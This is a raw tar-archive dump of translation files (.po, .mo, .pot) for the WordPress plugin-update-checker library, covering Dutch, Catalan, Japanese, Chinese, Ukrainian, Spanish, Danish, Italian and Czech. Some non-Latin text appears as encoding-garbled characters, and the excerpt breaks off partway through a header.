0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2018-03-25 18:15+0200\n" "PO-Revision-Date: 2018-03-25 18:32+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.7.1\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Frank Goossens <frank@optimizingmatters.com>\n" "Language: nl_NL\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Controleer op nieuwe versies" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "De meest recente %s versie is geïnstalleerd." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Er is een nieuwe versie van %s beschikbaar." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Kon niet bepalen of er nieuwe versie van %s beschikbaar is." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Ongekende status bij controle op nieuwe versie: \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "Er is geen changelog beschikbaar." ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-ca.mo������������������������������������������������0000644�����������������00000002242�14757771437�0016522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��¾��Á��!���€��+���¢��9���Î��6�����=���?��$���}����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-11-24 17:02+0200 PO-Revision-Date: 2019-09-25 18:15+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: ca X-Poedit-SearchPath-0: . �Comprova si hi ha actualitzacions�No hi ha cap registre de canvis disponible.�Estat del comprovador d’actualitzacions desconegut "%s"�Una nova versió de l’extensió %s està disponible.�No s’ha pogut determinar si hi ha actualitzacions per a %s.�L’extensió %s està actualitzada.���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-ja.po������������������������������������������������0000644�����������������00000003353�14757771437�0016540 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: \n" "POT-Creation-Date: 2019-07-15 17:07+0900\n" "PO-Revision-Date: 2019-07-15 17:12+0900\n" "Last-Translator: tak <tak7725@gmail.com>\n" "Language-Team: \n" "Language: ja_JP\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2.3\n" "X-Poedit-Basepath: ../../../../../../Applications/XAMPP/xamppfiles/htdocs/" "kisagai/wordpress/wp-content/plugins/simple-stripe-gateway/Puc\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Poedit-KeywordsList: __;_x:1,2c\n" "X-Poedit-SearchPath-0: .\n" #: v4p7/Plugin/Ui.php:54 msgid "View details" msgstr "詳細を表示" #: v4p7/Plugin/Ui.php:77 #, php-format msgid "More information about %s" msgstr "%sã«ã¤ã„ã¦ã®è©³ç´°" #: v4p7/Plugin/Ui.php:128 msgid "Check for updates" msgstr "アップデートを確èª" #: v4p7/Plugin/Ui.php:213 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "%s プラグインã¯ã€æœ€æ–°ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã™ã€‚" #: v4p7/Plugin/Ui.php:215 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "%s プラグインã®æœ€æ–°ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒã‚ã‚Šã¾ã™ã€‚" #: v4p7/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "%s ã®ã‚¢ãƒƒãƒ—デートãŒã‚ã‚‹ã‹ã©ã†ã‹ã‚’判断ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚" #: v4p7/Plugin/Ui.php:223 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚¢ãƒƒãƒ—ã®ç¢ºèªã§æƒ³å®šå¤–ã®çŠ¶æ…‹ã«ãªã‚Šã¾ã—ãŸã€‚ステータス:â€%sâ€" #: v4p7/Vcs/PluginUpdateChecker.php:98 msgid "There is no changelog available." msgstr "更新履歴ã¯ã‚ã‚Šã¾ã›ã‚“。" �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-zh_CN.mo���������������������������������������������0000644�����������������00000002226�14757771437�0017142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•���� ������d��� ���¬�������à������á������ó��� ��� ��"���.�� ���Q��=���^��E���œ��-���â��²���� ���Ã�����Ð�����ã�� ����� ���#�����0��*���O�����z������������������������������� ���������������Check for updates�More information about %s�There is no changelog available.�Unknown update checker status "%s"�View details�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2022-01-29 12:10+0800 Last-Translator: Seaton Jiang <hi@seatonjiang.com> Language-Team: Language: zh_CN MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=1; plural=0; X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x X-Poedit-SearchPath-0: . �检查更新�%s 的更多信æ¯�没有å¯ç”¨çš„更新日志。�未知的更新检查状æ€ï¼š%s�查看详情�%s 当å‰æœ‰å¯ç”¨çš„更新。�%s 无法确定是å¦æœ‰å¯ç”¨çš„更新。�%s ç›®å‰æ˜¯æœ€æ–°ç‰ˆæœ¬ã€‚���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-uk_UA.po���������������������������������������������0000644�����������������00000003077�14757771437�0017155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2020-08-08 14:36+0300\n" "PO-Revision-Date: 2021-12-20 17:55+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.2\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: uk_UA\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p11/Plugin/Ui.php:128 msgid "Check for updates" msgstr "Перевірити оновленнÑ" #: Puc/v4p11/Plugin/Ui.php:213 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Плагін %s оновлено." #: Puc/v4p11/Plugin/Ui.php:215 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Ðова верÑÑ–Ñ %s доÑтупна." #: Puc/v4p11/Plugin/Ui.php:217 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð·Ð½Ð°Ñ‡Ð¸Ñ‚Ð¸, чи доÑтупні Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ %s." #: Puc/v4p11/Plugin/Ui.php:223 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Ðевідомий ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ оновлень \"%s\"" #: Puc/v4p11/Vcs/PluginUpdateChecker.php:98 msgid "There is no changelog available." msgstr "Ðемає доÑтупного журналу змін." �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_HN.po���������������������������������������������0000644�����������������00000002756�14757771437�0017150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_CL.po���������������������������������������������0000644�����������������00000002756�14757771437�0017141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-es_CR.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-ja.mo������������������������������������������������0000644�����������������00000002656�14757771437�0016542 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•���� ������d��� ���¬�������à������á������ó��� ��� ��"���.�� ���Q��=���^��E���œ��-���â�� ������������8��!���P��e���r�����Ø��<���è��Q���%��6���w������������������������������� ���������������Check for updates�More information about %s�There is no changelog available.�Unknown update checker status "%s"�View details�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: POT-Creation-Date: 2019-07-15 17:07+0900 PO-Revision-Date: 2019-07-15 17:12+0900 Last-Translator: tak <tak7725@gmail.com> Language-Team: Language: ja_JP MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2.3 X-Poedit-Basepath: ../../../../../../Applications/XAMPP/xamppfiles/htdocs/kisagai/wordpress/wp-content/plugins/simple-stripe-gateway/Puc Plural-Forms: nplurals=1; plural=0; X-Poedit-KeywordsList: __;_x:1,2c X-Poedit-SearchPath-0: . �アップデートを確èª�%sã«ã¤ã„ã¦ã®è©³ç´°�更新履歴ã¯ã‚ã‚Šã¾ã›ã‚“。�ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚¢ãƒƒãƒ—ã®ç¢ºèªã§æƒ³å®šå¤–ã®çŠ¶æ…‹ã«ãªã‚Šã¾ã—ãŸã€‚ステータス:â€%sâ€�詳細を表示�%s プラグインã®æœ€æ–°ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒã‚ã‚Šã¾ã™ã€‚�%s ã®ã‚¢ãƒƒãƒ—デートãŒã‚ã‚‹ã‹ã©ã†ã‹ã‚’判断ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚�%s プラグインã¯ã€æœ€æ–°ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã™ã€‚�����������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-da_DK.mo���������������������������������������������0000644�����������������00000001762�14757771437�0017107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨������©��� ���»���"���Ü���=���ÿ���-���=��Ñ��k�����=��'���X�����€��.���Ÿ��#���Î�����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-05-20 10:53+0300 PO-Revision-Date: 2017-10-17 11:07+0200 Last-Translator: Mikk3lRo Language-Team: Mikk3lRo MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.0.4 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Language: da_DK X-Poedit-SearchPath-0: . �Undersøg for opdateringer�Der er ingen ændringslog tilgængelig.�Ukendt opdateringsstatus: "%s"�En ny version af plugin'et %s er tilgængelig.�Plugin'et %s er allerede opdateret.���������������update-checker/languages/plugin-update-checker-es_PR.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017152 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:15-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker.pot��������������������������������������������������0000644�����������������00000002255�14757771437�0016334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#, fuzzy msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2022-07-29 15:34+0300\n" "PO-Revision-Date: 2016-01-10 20:59+0100\n" "Last-Translator: \n" "Language-Team: \n" "Language: en_US\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.1.1\n" "X-Poedit-Basepath: ..\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v5p2/Plugin/Ui.php:128 msgid "Check for updates" msgstr "" #: Puc/v5p2/Plugin/Ui.php:214 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "" #: Puc/v5p2/Plugin/Ui.php:216 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "" #: Puc/v5p2/Plugin/Ui.php:218 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "" #: Puc/v5p2/Plugin/Ui.php:224 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "" #: Puc/v5p2/Vcs/PluginUpdateChecker.php:100 msgid "There is no changelog available." msgstr "" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_CO.po���������������������������������������������0000644�����������������00000002756�14757771437�0017144 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-it_IT.mo���������������������������������������������0000644�����������������00000002157�14757771437�0017154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��™��Á�����[��4���r��1���§��0���Ù��H��� �����S����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2022-05-20 00:17+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 3.0 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: d79 Language: it_IT X-Poedit-SearchPath-0: . �Verifica aggiornamenti�Non c'è alcun registro delle modifiche disponibile.�Stato di controllo aggiornamenti sconosciuto "%s"�Una nuova versione del plugin %s è disponibile.�Non è possibile verificare se c'è un aggiornamento disponibile per %s.�Il plugin %s è aggiornato.������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_GT.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017143 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-cs_CZ.po���������������������������������������������0000644�����������������00000002651�14757771437�0017147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2017-05-20 10:53+0300\n" "PO-Revision-Date: 2017-07-05 15:39+0000\n" "Last-Translator: VojtÄ›ch Sajdl <vojtech@sajdl.com>\n" "Language-Team: Czech (Czech Republic)\n" "Language: cs-CZ\n" "Plural-Forms: nplurals=2; plural=(n != 1)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Loco-Source-Locale: cs_CZ\n" "X-Generator: Loco - https://localise.biz/\n" "X-Poedit-Basepath: ..\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "X-Poedit-SearchPath-0: .\n" "X-Loco-Parser: loco_parse_po" #: Puc/v4p1/Plugin/UpdateChecker.php:358 msgid "Check for updates" msgstr "Zkontrolovat aktualizace" #: Puc/v4p1/Plugin/UpdateChecker.php:405 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Plugin %s je aktuální." #: Puc/v4p1/Plugin/UpdateChecker.php:407 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Nová verze pluginu %s je dostupná." #: Puc/v4p1/Plugin/UpdateChecker.php:409 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Neznámý status kontroly aktualizací \"%s\"" #: Puc/v4p1/Vcs/PluginUpdateChecker.php:83 msgid "There is no changelog available." msgstr "Changelog není dostupný." ���������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-da_DK.po���������������������������������������������0000644�����������������00000002402�14757771437�0017102 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-05-20 10:53+0300\n" "PO-Revision-Date: 2017-10-17 11:07+0200\n" "Last-Translator: Mikk3lRo\n" "Language-Team: Mikk3lRo\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.0.4\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Language: da_DK\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p1/Plugin/UpdateChecker.php:358 msgid "Check for updates" msgstr "Undersøg for opdateringer" #: Puc/v4p1/Plugin/UpdateChecker.php:405 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "Plugin'et %s er allerede opdateret." #: Puc/v4p1/Plugin/UpdateChecker.php:407 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "En ny version af plugin'et %s er tilgængelig." #: Puc/v4p1/Plugin/UpdateChecker.php:409 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Ukendt opdateringsstatus: \"%s\"" #: Puc/v4p1/Vcs/PluginUpdateChecker.php:83 msgid "There is no changelog available." msgstr "Der er ingen ændringslog tilgængelig." ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-nl_BE.po���������������������������������������������0000644�����������������00000003016�14757771437�0017121 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2018-03-25 18:15+0200\n" "PO-Revision-Date: 2018-03-25 18:32+0200\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.7.1\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; 